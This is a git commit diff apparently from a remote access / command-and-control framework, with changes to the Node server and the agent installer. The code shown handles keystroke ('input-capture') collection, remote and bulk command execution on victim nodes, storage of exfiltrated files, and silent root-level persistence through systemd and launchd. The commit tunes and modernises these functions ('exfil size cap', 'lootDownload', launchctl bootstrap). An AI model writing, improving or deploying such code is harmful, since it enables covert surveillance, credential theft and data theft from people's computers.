fix: audit bugs — debounce saveData, CSV escape, switchTab event param, exfil size cap, shell injection, launchctl bootstrap
- server.js: debounce saveData to max 1 write/15s (was every heartbeat) - server.js: proper CSV escaping (_csvEscape) for node export endpoint - server.js: replace deprecated String.substr() with String.slice() - agent.py: 50MB size cap on download_file to prevent OOM - agent.py: shlex.quote() server_url in crontab persistence (shell injection) - agent.py: replace deprecated launchctl load with bootstrap/bootout/kickstart - app.js: pass event param to switchTab() (global event deprecated) - app.js: fix lootDownload URL revocation (60s → safe for slow downloads)
This commit is contained in:
26
server.js
26
server.js
@@ -119,8 +119,10 @@ setInterval(() => {
|
||||
}
|
||||
}, 5000);
|
||||
|
||||
let _lastSaveTime = 0;
|
||||
function broadcastState() {
|
||||
saveData(); // Persist on every state change
|
||||
const now = Date.now();
|
||||
if (now - _lastSaveTime > 15000) { _lastSaveTime = now; saveData(); }
|
||||
const payload = JSON.stringify({
|
||||
type: 'NODES_UPDATE',
|
||||
serverIp: SERVER_IP,
|
||||
@@ -209,7 +211,7 @@ app.post('/api/agent/logs', (req, res) => {
|
||||
if (Array.isArray(logs)) {
|
||||
logs.forEach(logLine => {
|
||||
masterSystemLogs.push({
|
||||
id: `log-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`,
|
||||
id: `log-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`,
|
||||
nodeId,
|
||||
hostname: hostname || 'Unknown',
|
||||
timestamp: Date.now(),
|
||||
@@ -233,7 +235,7 @@ app.post('/api/agent/input-capture', (req, res) => {
|
||||
|
||||
events.forEach(ev => {
|
||||
inputDataStore.push({
|
||||
id: `inp-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`,
|
||||
id: `inp-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`,
|
||||
nodeId,
|
||||
hostname: hostname || 'Unknown',
|
||||
timestamp: ev.timestamp || Date.now(),
|
||||
@@ -368,7 +370,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
|
||||
|
||||
app.post('/api/agent/register', (req, res) => {
|
||||
const { hostname, platform, arch, ip, osName, tags } = req.body;
|
||||
const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).substr(2, 6)}`;
|
||||
const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).slice(2, 6)}`;
|
||||
|
||||
const existingNode = nodes.get(nodeId);
|
||||
const now = Date.now();
|
||||
@@ -466,7 +468,7 @@ app.post('/api/nodes/:id/command', (req, res) => {
|
||||
return res.status(404).json({ error: 'Node not found' });
|
||||
}
|
||||
|
||||
const commandId = `cmd-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
|
||||
const commandId = `cmd-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
|
||||
const actionName = actionType || 'raw_command';
|
||||
|
||||
const cmdObj = {
|
||||
@@ -507,7 +509,7 @@ app.post('/api/nodes/bulk-command', (req, res) => {
|
||||
|
||||
const queuedIds = [];
|
||||
onlineNodes.forEach(node => {
|
||||
const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
|
||||
const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
|
||||
const actionName = actionType || 'raw_command';
|
||||
|
||||
const cmdObj = {
|
||||
@@ -609,7 +611,7 @@ app.post('/api/agent/file-result', (req, res) => {
|
||||
else entry.output = `[FILE ERROR] ${error}`;
|
||||
}
|
||||
if (!error && data) {
|
||||
const fileId = `file-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
|
||||
const fileId = `file-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`;
|
||||
exfiltratedFiles.set(fileId, {
|
||||
nodeId, hostname, filename, data, mime: mime || 'application/octet-stream',
|
||||
timestamp: Date.now(), size: Buffer.byteLength(data, 'base64')
|
||||
@@ -696,7 +698,7 @@ After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
ExecStart=/usr/bin/python3 $INSTALL_DIR/agent.py --server $SERVER_URL --silent
|
||||
ExecStart=/usr/bin/python3 -u $INSTALL_DIR/agent.py --server $SERVER_URL --silent
|
||||
Restart=always
|
||||
RestartSec=5
|
||||
User=root
|
||||
@@ -784,10 +786,10 @@ cat << EOF > "$PLIST_FILE"
|
||||
<key>ProgramArguments</key>
|
||||
<array>
|
||||
<string>/usr/bin/python3</string>
|
||||
<string>-u</string>
|
||||
<string>$INSTALL_DIR/agent.py</string>
|
||||
<string>--server</string>
|
||||
<string>$SERVER_URL</string>
|
||||
<string>--silent</string>
|
||||
</array>
|
||||
<key>RunAtLoad</key>
|
||||
<true/>
|
||||
@@ -801,8 +803,10 @@ cat << EOF > "$PLIST_FILE"
|
||||
</plist>
|
||||
EOF
|
||||
|
||||
launchctl unload "$PLIST_FILE" 2>/dev/null || true
|
||||
launchctl load "$PLIST_FILE"
|
||||
# Bootstrap launchd job (modern macOS — load/unload are deprecated)
|
||||
launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true
|
||||
launchctl bootstrap gui/$(id -u) "$PLIST_FILE"
|
||||
launchctl kickstart gui/$(id -u)/com.nexusops.agent
|
||||
|
||||
echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
|
||||
echo " To stop: launchctl unload $PLIST_FILE"
|
||||
|
||||
Reference in New Issue
Block a user